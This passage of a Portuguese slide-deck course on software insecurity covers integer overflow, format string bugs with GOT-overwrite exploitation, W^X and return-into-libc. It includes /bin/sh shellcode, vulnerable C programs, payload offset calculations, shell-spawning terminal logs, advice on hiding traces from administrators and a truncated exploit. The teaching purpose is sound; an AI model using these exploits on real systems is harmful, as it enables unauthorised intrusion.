char *indx;int count;char nameStr[MAX_LEN]; //256...memset(nameStr, '\0', sizeof(nameStr));...indx = (char *)(pkt + rr_offset);count = (char)*indx;while (count){

if (strlen(nameStr) + count < ( MAX_LEN - 1) ){(char *)indx++;strncat(nameStr, (char *)indx, count);indx += count;count = (char)*indx;strncat(nameStr, ".",sizeof(nameStr) strlen(nameStr));

}else count = 0; } nameStr[strlen(nameStr)-1] = '\0';

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 138: (In)Segurança De Software, Quebrando Códigos

Integer OverflowProblema com Signed extension

count é um signed controlado pelo usuário.

Passando um valor negativo para count esse valor será somado à strlen(nameStr) que é um valor unsigned.

count será promovido para unsigned int e se tornará um valor muito grande, que quando somado à strlen(nameStr) pode gerar um overflow, resultando em um número muito pequeno, passando então pelo teste.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 139: (In)Segurança De Software, Quebrando Códigos

Integer OverflowTempo é dinheiro!

char *indx;int count;char nameStr[MAX_LEN]; //256...memset(nameStr, '\0', sizeof(nameStr));...indx = (char *)(pkt + rr_offset);count = (char)*indx;while (count){

if (strlen(nameStr) + (unsigned int)count < ( MAX_LEN - 1) ){(char *)indx++;strncat(nameStr, (char *)indx, count);indx += count;count = (char)*indx;strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr));

}else count = 0; } nameStr[strlen(nameStr)-1] = '\0';

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 140: (In)Segurança De Software, Quebrando Códigos

Integer OverflowCast inútil

Nada mudou!

Por falta de conhecimento o desenvolvedor achou que quando count fosse negativo algo parecido com isso seria feito:

strlen(nameStr) - ((-1)*count)

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 141: (In)Segurança De Software, Quebrando Códigos

Integer OverflowQuanta manutenção!

unsigned char *indx;unsigned int count;unsigned char nameStr[MAX_LEN]; //256...memset(nameStr, '\0', sizeof(nameStr));...indx = (char *)(pkt + rr_offset);count = (char)*indx;while (count){

if (strlen(nameStr) + count < ( MAX_LEN - 1) ){indx++;strncat(nameStr, indx, count);indx += count;count = *indx;strncat(nameStr, ".", sizeof(nameStr) - strlen(nameStr));

}else count = 0; } nameStr[strlen(nameStr)-1] = '\0';

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 142: (In)Segurança De Software, Quebrando Códigos

Integer OverflowProblemas Corrigidos!?

Em count = (char)*indx; o byte que especifica o tamanho da palavra é lido como um unsigned char, através do cast, força-se uma conversão para signed char. Em seguida, ao se atribuir o valor à count ele é convertido para unsigned int, ocorre sign extension e o valor pode ser tratado como um valor muito grande.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 143: (In)Segurança De Software, Quebrando Códigos

Integer OverflowProblemas Corrigidos!?

Porém dessa vez strlen(nameStr) retorna 0 e o código não entra no if.

Na saída do loop um '\0' será colocado em nameStr[-1].

Explorar essa vulnerabilidade é impossível nesse caso, mas em outras aplicações que apresentam a mesma falha pode ser possível tirar vantagem dessa brecha.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 144: (In)Segurança De Software, Quebrando Códigos

Agenda

Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória

Stack Overflow Heap Overflow Integer Overflow

Format String Bug Técnicas Modernas

WorX Stack Protector ASLR

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 145: (In)Segurança De Software, Quebrando Códigos

Format String BugFormat string

É uma string que contém o texto que será escrito no buffer de destino.

Pode conter tags de formatação (%d, %n, %p etc) que serão substituídas pelos parâmetros subsequentes corretamente formatados.

O número de argumentos seguindo uma string de formato tem que ser maior ou igual ao número de tags de formatação.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 146: (In)Segurança De Software, Quebrando Códigos

printf, fprintf, sprintf, snprintf, vprintf, vfprintf, vsprintf, vsnprintf, syslog.

Funções vulneráveis

Format String Bug(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 147: (In)Segurança De Software, Quebrando Códigos

Format String BugFuncionamento interno

int main(){int a = 0;char buffer[] = "strings de formato";

printf("E%nste é o exemplo", &a);printf(" %08d de %s\n", a, buffer);printf("O endereço de buffer é: %08p\n", buffer);

}

ebp

espvariáveis locais

ebp salvoret

&aformat string

[rafael@centos format string]$ ./format_string_ex1 Este é o exemplo 00000001 de strings de formatoO endereço de buffer é: 0xbffff4ed[rafael@centos format string]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 148: (In)Segurança De Software, Quebrando Códigos

%n coloca o número de caracteres escritos até o momento em um ponteiro para inteiro.

%08d fará com que seja copiado para a saída um decimal preenchido com zeros à esquerda até que se complete o tamanho de 8 caracteres.

%08x lê um inteiro e gera saída em hexadecimal com um tamanho de 8 bytes.

Tags de formatação

Format String Bug(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 149: (In)Segurança De Software, Quebrando Códigos

Format String BugLendo da memória

void func(char *str){printf(str);

}

int main(){char str[] = "%08p%08p%08p%08p%08p%08p%08p\n";

func(str);}

[rafael@centos format string]$ ./format_string_ex2 (nil)0xbffff5080x804842a0xbffff4e6 (nil)0xbffff6f90xb7ee4dae[rafael@centos format string]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 150: (In)Segurança De Software, Quebrando Códigos

Pode-se ler qualquer endereço a partir do ponteiro para a string de formato.

Lendo da memória

Format String Bug

ebp

dummy

ebp func

ret func

0xffea0108

0x80483f6

0x80495d4

string de formato

ret printf

ebp func

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 151: (In)Segurança De Software, Quebrando Códigos

Como os endereços seguintes ao ponteiro para a string de formato podem ser acessados, isso permite que se acesse a própria string de formato, visto que a stack cresce em direção à memória baixa.

Então, codificando um endereço (little endian) de memória diretamente na string de formato é possível ler o endereço apontado pelo mesmo através da tag de formato %s. O problema é que o endereço é tratado como uma string e vai terminar no primeiro NULL encontrado.

Lendo de qualquer lugar da memória

Format String Bug(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 152: (In)Segurança De Software, Quebrando Códigos

Format String BugLendo de qualquer lugar da memória

int main(){char *ptr, *addr;int i = 0x45444342;char str[] = "AAAA\xff\xff\xff\xff%08x%08x%08x%08x%08x%08x%08x__%s__\n";

addr = (char*)&i;ptr = (char*)&addr;str[4] = *ptr;str[5] = *(ptr+1);str[6] = *(ptr+2);str[7] = *(ptr+3);

printf(str);}

[rafael@centos format string]$ ./format_string_ex3AAAAøôÿ¿00000000000000000000000000000000000000000000000041414141__BCDEøôÿ¿üôÿ¿ õÿ¿xõÿ¿# Æè·# # # xõÿ¿# Æè·__

[rafael@centos format string]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 153: (In)Segurança De Software, Quebrando Códigos

Format String BugEscrevendo na memória

int main(){char *ptr, *addr;int i = 0xaabbccdd;char str[] = "AAAA\xff\xff\xff\xff%08x%08x%08x%08x%08x%08x%08x__%n__\n";

addr = (char*)&i;ptr = (char*)&addr;

str[4] = *ptr;str[5] = *(ptr+1);str[6] = *(ptr+2);str[7] = *(ptr+3);

fprintf(stderr, "variavel i (%p) = 0x%x\n\n", &i, i);

printf(str);

fprintf(stderr, "\nvariavel i (%p) = 0x%x\n", &i, i);}(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 154: (In)Segurança De Software, Quebrando Códigos

Codificando um endereço válido na string de formato, pode-se alterar o valor apontado por esse endereço.

Basta apenas chegar até a posição da string de formato na stack e então encontrar o endereço codificado.

Escrevendo na memória

Format String Bug(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 155: (In)Segurança De Software, Quebrando Códigos

Format String BugEscrevendo na memória

[rafael@centos format string]$ ./format_string_ex4variavel i (0xbffff4f8) = 0xaabbccdd

AAAAøôÿ¿080485d0bffff4f8aabbccdd00000000000000000000000041414141____

variavel i (0xbffff4f8) = 0x42[rafael@centos format string]$

Então, é só passar a tag %n tendo como argumento o endereço codificado.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 156: (In)Segurança De Software, Quebrando Códigos

Format String BugControlando a memória

int main(){char *ptr, *addr;int i = 0xaabbccdd;char str[] = "AAAA\xff\xff\xff\xff%0233811115x%08x%08x%08x%08x%08x”

“%08x%08x__%n__\n";

addr = (char*)&i;ptr = (char*)&addr;

str[4] = *ptr;str[5] = *(ptr+1);str[6] = *(ptr+2);str[7] = *(ptr+3);

fprintf(stderr, "variavel i (%p) = 0x%x\n\n", &i, i);

printf(str);

fprintf(stderr, "\nvariavel i (%p) = 0x%x\n", &i, i);}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 157: (In)Segurança De Software, Quebrando Códigos

Para controlar o valor a ser escrito no endereço codificado basta usar os especificadores de tamanho nas tags de formato. Assim, pode-se forçar que uma quantidade específica de bytes seja enviada para a saída, de modo que quando %n for ativada o valor a ser escrito possa ser controlado pelo atacante.

Controlando a memória

Format String Bug

[rafael@centos format string]$ ./format_string_ex5 > /dev/nullvariavel i (0xbffff4f8) = 0xaabbccdd

variavel i (0xbffff4f8) = 0xdefaced[rafael@centos format string]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 158: (In)Segurança De Software, Quebrando Códigos

Format String BugA técnica

char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd""\x80";

int main(int argc, char *argv[]){

if(argc != 2){printf("uso: %s <param>\n", argv[0]);return 1;

}printf("shellcode - %p\n", shellcode);printf("retaddr - %p\n", &argc-1);printf(argv[1]);printf("\n");printf("%p\n", *(&argc-1));

}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 159: (In)Segurança De Software, Quebrando Códigos

Format String BugA técnica

Controlando qualquer endereço de memória é possível redirecionar o fluxo de execução do programa para o payload previamente injetado pelo atacante.

Para tal, basta sobrescrever um endereço de retorno ou uma entrada na GOT.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 160: (In)Segurança De Software, Quebrando Códigos

Format String BugString de formato

1 x “AAAA” = 41 endereço = 4%134519792x = 134519792132 x %08x = 1056

total = 0x0804a018

então,bffff2ec = 0x804a018

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 161: (In)Segurança De Software, Quebrando Códigos

Format String BugRedirecionando fluxo

[rafael@centos format string]$ /format_string_ex6 `cat badfile_ex61.bin`shellcode - 0x804a018retaddr - 0xbffff2ec…

bffff2ecbffff2e8bffff2f0b7ff0f50bffff2f0bffff348b7e8c685080484c008048340bffff348b7e8c68500000002bffff374bffff380b7fe2b380000000100000001000000000804824cb7fcfff4080484c008048340bffff348d005e179fe6c9569000000000000000000000000b7ff6090b7e8c5adb7ffeff400000002080483400000000008048361080483f400000002bffff374080484c0080484b0b7ff0f50bffff36cb7ffbaaa00000002bffff4c0bffff4d400000000bffff705bffff727bffff73abffff771bFfff781bffff78cbffff7dcbffff817bffff829bffff835bffffc5ebffffc84bffffcb4bffffce5bffffcf5bffffd42bffffd62bFfffd7dbffffda4bffffdb5bffffdcdbffffde2bffffdfdbffffe14bffffe1cbffffe2ebffffe5abffffe69bffffea5bfffff07bfFfff27bfffff34bfffff41bfffff63bfffff79bfffff92bfffffb6bfffffd20000000000000020b7ffd42000000021b7ffd00000000010078bf3bf0000000600001000000000110000006400000003080480340000000400000020000000050000000800000007b7fe3000000000080000000000000009080483400000000b000003e70000000c000003e70000000d000003e70000000e000003e700000017000000000000001fbfffffe80000000fbffff4bb00000000000000000000000069000000003638366f662f2e74616d727274735f5f676e690036786541414141aaaaaaaaaaa0x804a018sh-3.2$ exitexit [rafael@centos format string]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 162: (In)Segurança De Software, Quebrando Códigos

Controlando a memória byte a byte

Format String Bug

Pode ser que haja algum limite para os especificadores de tamanho, como também para a quantidade total de caracteres gerados como saída.

Então, para controlar o valor a ser escrito, deve-se escrever byte a byte o valor na posição desejada.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 163: (In)Segurança De Software, Quebrando Códigos

Controlando a memória byte a byte

Format String Bug

4 x “AAAA” = 164 endereços = 16132 x %08x = 1056

%216x = 216bffff2cc = 0x00000518

%136x = 136bffff2cd = 0x000005a0

%100x = 100bffff2ce = 0x00000604

%260x = 260bffff2cf = 0x00000708

então,bffff2cc = 0x0804a018

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 164: (In)Segurança De Software, Quebrando Códigos

Format String Bug

[rafael@centos format string]$ /format_string_ex6 `cat badfile_ex62.bin`shellcode - 0x804a018retaddr – 0xbffff2ccc....

AAAA����AAAA����AAAA����AAAA����bffff2ccbffff2c8bffff2d0b7ff0f50bffff2d0bffff328b7e8c685080484c008048340bffff328b7e8c68500000002bffff354bffff360b7fe2b380000000100000001000000000804824cb7fcfff4080484c008048340bffff328d085a179feec9569000000000000000000000000b7ff6090b7e8c5adb7ffeff400000002080483400000000008048361080483f400000002bffff354080484c0080484b0b7ff0f50bffff34cb7ffbaaa00000002bffff4a0bffff4b400000000bffff705bffff727bffff73abffff771bffff781bffff78cbffff7dcbffff817bffff829bffff835bffffc5ebffffc84bffffcb4bffffce5bffffcf5bffffd42bffffd62bffffd7dbffffda4bffffdb5bffffdcdbffffde2bffffdfdbffffe14bffffe1cbffffe2ebffffe5abffffe69bffffea5bfffff07bfffff27bfffff34bfffff41bfffff63bfffff79bfffff92bfffffb6bfffffd20000000000000020b7ffd42000000021b7ffd00000000010078bf3bf0000000600001000000000110000006400000003080480340000000400000020000000050000000800000007b7fe3000000000080000000000000009080483400000000b000003e70000000c000003e70000000d000003e70000000e000003e700000017000000000000001fbfffffe80000000fbffff49b00000000000000000000000069000000003638366f662f2e74616d727274735f5f676e6900367865 41414141 41414141 41414141 41414141aaaa0x804a018sh-3.2$

Controlando a memória byte a byte

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 165: (In)Segurança De Software, Quebrando Códigos

Acesso direto à parametros

Format String Bug

Caso haja algum limite para o tamanho da string de formato injetada, pode-se usar o especificador de formato %pos$n, onde pos é a posição do argumento desejado na passagem para a função.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 166: (In)Segurança De Software, Quebrando Códigos

Acesso direto à parametros

Format String Bug

4 x “AAAA” = 164 endereços = 16

%248x = 248bffff4cc = 0x00000118

%136x = 136bffff4cd = 0x000001a0

%100x = 100bffff4ce = 0x00000204

%260x = 260bffff4cf = 0x00000308

então,bffff4cc = 0x0804a018

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 167: (In)Segurança De Software, Quebrando Códigos

Acesso direto à parametros

Format String Bug

[rafael@centos format string]$ /format_string_ex6 `cat badfile_ex63.bin`shellcode - 0x804a018retaddr - 0xbffff4ccAAAA����AAAA����AAAA����AAAA���� bffff4cc bffff4c8 bffff4d0 b7ff0f50aaaa0x804a018sh-3.2$ exitexit[rafael@centos format string]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 168: (In)Segurança De Software, Quebrando Códigos

Format String BugPrograma vulnerável

int func(char *str){printf(str);printf("\n");

}

int main(int argc, char *argv[]){

if(argc != 2){printf("uso: %s <param>\n", argv[0]);return 1;

}func(argv[1]);

}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 169: (In)Segurança De Software, Quebrando Códigos

Planejamento

Format String Bug

A exploração será feita através da GOT. Quando putchar() for chamada após o ataque, o fluxo do programa será redirecionado para o endereço injetado na tabela.

Basta gravar na entrada GOT de putchar() o endereço do payload. Sabendo em que posição (como parametro da função vulnerável) argv[1] se encontra, é fácil calcular seu endereço, dado o endereço (estimado) da stack.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 170: (In)Segurança De Software, Quebrando Códigos

Planejamento

Format String Bug

[rafael@centos format string]$ objdump -R format_string_ex7

format_string_ex7: file format elf32-i386

DYNAMIC RELOCATION RECORDSOFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__0804a000 R_386_JUMP_SLOT __gmon_start__0804a004 R_386_JUMP_SLOT putchar0804a008 R_386_JUMP_SLOT __libc_start_main0804a00c R_386_JUMP_SLOT printf

[rafael@centos format string]$

O endereço do payload deve ser colocado em 0x0804a004.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 171: (In)Segurança De Software, Quebrando Códigos

Planejamento

Format String Bug

4 x “AAAA” = 164 endereços = 1645 x 0x90 = 41shellcode = 23

total = 100

%72x = 72 0804a004 = 0x000000ac

%74x = 740804a005 = 0x000000f6

%9x = 90804a006 = 0x000000ff

%192x = 1920804a007 = 0x000001bf

então,0804a004 = 0xbffff6ac

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 172: (In)Segurança De Software, Quebrando Códigos

Planejamento

Format String Bug

0xbffff6ac é o endereço do payload.

0xbffff6ac ≅ esp – 128 + 137*4 ± offset.

[rafael@centos format string]$ ./format_string_ex7 `cat badfile_ex7.bin`sh-3.2$ exitexit[rafael@centos format string]$

[rafael@centos exemplos]$ ./get_espesp: 0xbffff4f4 [rafael@centos exemplos$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 173: (In)Segurança De Software, Quebrando Códigos

Agenda

Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória

Stack Overflow Heap Overflow Integer Overflow

Format String Bug Técnicas Modernas

WorX Stack Protector ASLR

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 174: (In)Segurança De Software, Quebrando Códigos

Técnicas Modernas

Atualmente existem proteções que dificultam a execução do payload.

Área de dados apenas com permissão de execução. Não é possível redirecionar o ponteiro de instruções para o payload.

Mecanismos de verificação dinâmica da integridade da stack.

Randomização da memória do programa, de modo que endereços não possam ser “adivinhados” com facilidade.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 175: (In)Segurança De Software, Quebrando Códigos

Agenda

Falhas de Software Princípios de Segurança de Software Introdução à Overflow de Memória

Stack Overflow Heap Overflow Integer Overflow

Format String Bug Técnicas Modernas

WorX Stack Protector ASLR

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 176: (In)Segurança De Software, Quebrando Códigos

WorX

Técnica utilizada para impedir que áreas de dados de um programa possam ser executadas.

Nenhuma área com permissão de escrita (stack, heap, .data, .bss) deve ter permissão de execução.

Isso impede que o fluxo de execução de um programa seja redirecionado para um payload injetado.

Definição

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 177: (In)Segurança De Software, Quebrando Códigos

WorXDefinição

Nada impede o desenvolvedor de mapear uma área de memória WR.

Alguns programas precisam executar código gerado dinamicamente.

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 178: (In)Segurança De Software, Quebrando Códigos

WorXDefinição

char shellcode[]="\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69""\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";

void func(){char buffer[16];

strcpy(buffer, "AAAABBBBCCCCDDD");*((long*)(buffer+20)) = (long)shellcode;printf("%s\n", buffer);

}

int main(){func();printf("fim\n");

}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 179: (In)Segurança De Software, Quebrando Códigos

WorXProteção desabilitada

[rafael@centos worx]$ gcc -z execstack worx_ex11 worx_ex1.c[rafael@centos worx]$ ./worx_ex1

AAAABBBBCCCCDDDsh-3.2$

[rafael@centos worx]$ cat /proc/14460/maps00723000-0073d000 r-xp 00000000 08:02 394715 /lib/ld-2.5.so0073d000-0073e000 r-xp 00019000 08:02 394715 /lib/ld-2.5.so0073e000-0073f000 rwxp 0001a000 08:02 394715 /lib/ld-2.5.so00741000-0087f000 r-xp 00000000 08:02 392465 /lib/libc-2.5.so0087f000-00881000 r-xp 0013e000 08:02 392465 /lib/libc-2.5.so00881000-00882000 rwxp 00140000 08:02 392465 /lib/libc-2.5.so00882000-00885000 rwxp 00882000 00:00 0 08048000-08049000 r-xp 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex108049000-0804a000 rwxp 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex1f7f95000-f7f97000 rwxp f7f95000 00:00 0 f7fb2000-f7fb3000 rwxp f7fb2000 00:00 0 ffbd2000-ffbe7000 rwxp 7ffffffea000 00:00 0 [stack]ffffe000-fffff000 r-xp ffffe000 00:00 0 [rafael@centos worx]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 180: (In)Segurança De Software, Quebrando Códigos

WorXProteção habilitada

[rafael@centos worx]$ gcc worx_ex12 worx_ex1.c[rafael@centos worx]$ ./worx_ex1

AAAABBBBCCCCDDDSegmentation fault[rafael@centos worx]$

[rafael@centos worx]$ cat /proc/14461/maps00723000-0073d000 r-xp 00000000 08:02 394715 /lib/ld-2.5.so0073d000-0073e000 r--p 00019000 08:02 394715 /lib/ld-2.5.so0073e000-0073f000 rw-p 0001a000 08:02 394715 /lib/ld-2.5.so00741000-0087f000 r-xp 00000000 08:02 392465 /lib/libc-2.5.so0087f000-00881000 r--p 0013e000 08:02 392465 /lib/libc-2.5.so00881000-00882000 rw-p 00140000 08:02 392465 /lib/libc-2.5.so00882000-00885000 rw-p 00882000 00:00 0 08048000-08049000 r-xp 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex1208049000-0804a000 rw-p 00000000 08:02 2126285 minicurso/exemplos/worx/worx_ex12f7fd5000-f7fd7000 rw-p f7fd5000 00:00 0 f7ff2000-f7ff3000 rw-p f7ff2000 00:00 0 ffcdf000-ffcf4000 rw-p 7ffffffea000 00:00 0 [stack]ffffe000-fffff000 r-xp ffffe000 00:00 0 [rafael@centos worx]$

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 181: (In)Segurança De Software, Quebrando Códigos

Return-into-libc

Redirecionar o fluxo para código próprio do programa ou para bibliotecas carregadas por ele.

Libc é “linkada” em todos os programas em sistemas Linux e carregada sempre no mesmo endereço base. Basta que o fluxo seja redirecionado para uma função da biblioteca.

Chamando system(“/bin/sh”) um shell é retornado para o atacante.

Burlando a proteção

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 182: (In)Segurança De Software, Quebrando Códigos

A arte

crescimento da stack

esp ebp

EBP anterior ...buffer explorado retaddr ...

função vulnerável

variáveis locais EBP anterior arg1retaddr

system

0xdefaced... 0xdefaced system 0xdefaced ptr “/bin/sh”

vetor de injeção

Return-into-libc(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 183: (In)Segurança De Software, Quebrando Códigos

Redirecionando para system

int func(){int *ptr;

ptr = (int*)&ptr;ptr++;ptr++;*ptr = (int)system;ptr++;ptr++;*ptr = (int)"/bin/sh";

}

int main(){func();

}

[rafael@centos worx]$ ./return_into_libc_ex1$ exitSegmentation fault[rafael@centos worx]$

Return-into-libc(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 184: (In)Segurança De Software, Quebrando Códigos

O endereço de retorno é sobrescrito com o endereço de system.

A posição de memória que do ponto de vista do registro de ativação (frame de pilha) da função system seria o endereço de retorno é deixada de lado e um ponteiro para “/bin/sh” é colocado na posição seguinte. Esse ponteiro será o arg1 da função.

Redirecionando para system

Return-into-libc(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 185: (In)Segurança De Software, Quebrando Códigos

Eliminando vestígios

variáveis locais EBP anterior arg1retaddr

exit

esp ebp crescimento da stack

EBP anterior ...buffer explorado retaddr ... ...

função vulnerável

variáveis locais EBP anterior arg1retaddr

system

0xdefaced... 0xdefaced system exit ptr “/bin/sh” 0xffffffff

vetor de injeção

Return-into-libc(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 186: (In)Segurança De Software, Quebrando Códigos

int func(){int *ptr;

ptr = (int*)&ptr;ptr++;ptr++;*ptr = (int)system;ptr++;*ptr = (int)exit;ptr++;*ptr = (int)"/bin/sh";ptr++;*ptr = 0x1;

}

int main(){func();

}

[rafael@centos worx]$ ./return_into_libc_ex2$ exit[rafael@centos worx]$

Eliminando vestígios

Return-into-libc(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 187: (In)Segurança De Software, Quebrando Códigos

Um atacante deve eliminar todos os seus rastros de modo a não chamar a atenção do administrador do sistema.

Para não causar uma falha de segmentação, a posição que system considera como endereço de retorno é sobrescrita com o endereço de exit, e o valor após o ponteiro para “/bin/sh” recebe o valor -1 (argumento para exit).

Eliminando vestígios

Return-into-libc(I

n)S

egu

r an

ça d

e S

oft

war

e , Q

ueb

ran

do

dig

os

- R

a fae

l Ro

s a

Page 188: (In)Segurança De Software, Quebrando Códigos

Programa vulnerável

Return-into-libc

void func(char *str){char buffer[256];

strcpy(buffer, str);printf("%s\n", buffer);

}

int main(int argc, char *argv[]){

if(argc != 2){printf("uso: %s <param>\n", argv[0]);return 1;

}

func(argv[1]);printf("fim\n");

}

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 189: (In)Segurança De Software, Quebrando Códigos

Planejando o ataque

Return-into-libc

Descobrindo o endereço de system e exit.

[rafael@centos worx]$ gdb ./return_into_libc_ex3GNU gdb Fedora (6.8-27.el5)Copyright (C) 2008 Free Software Foundation, Inc.This GDB was configured as "x86_64-redhat-linux-gnu"...(no debugging symbols found)(gdb) b mainBreakpoint 1 at 0x8048460(gdb) rStarting program: minicurso/exemplos/worx/return_into_libc_ex3

Breakpoint 1, 0x08048460 in main ()(gdb) p system$1 = {<text variable, no debug info>} 0xb7eafa90 <system>(gdb) p exit$2 = {<text variable, no debug info>} 0xbfea4ce0 <exit>(gdb)

(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 190: (In)Segurança De Software, Quebrando Códigos

O exploit

Return-into-libc

#define SYSTEM 0xb7eafa90#define SARG "////////////////////////////////////////////////////bin/sh"#define ESP 0xbffff3a4 + 37#define EXIT 0xb7ea4ce0#define EARG 0xffffffff

int main(int argc, char **argv){FILE *badfile;long *ptr;unsigned int sargaddr;int n, i, j, pos;char buffer[352];if(argc != 3){

fprintf(stderr, "uso: %s <ret> <conf>\n", argv[0]);return 1;

}sargaddr = ESP + atoi(argv[1]);pos = atoi(argv[2]);if(pos < 1 || pos > 4)

pos = 1;(In

)Seg

ur a

nça

de

So

ftw

are ,

Qu

ebra

nd

o C

ód

igo

s -

Ra f

ael R

os a

Page 191: (In)Segurança De Software, Quebrando Códigos

O exploit

Return-into-libc

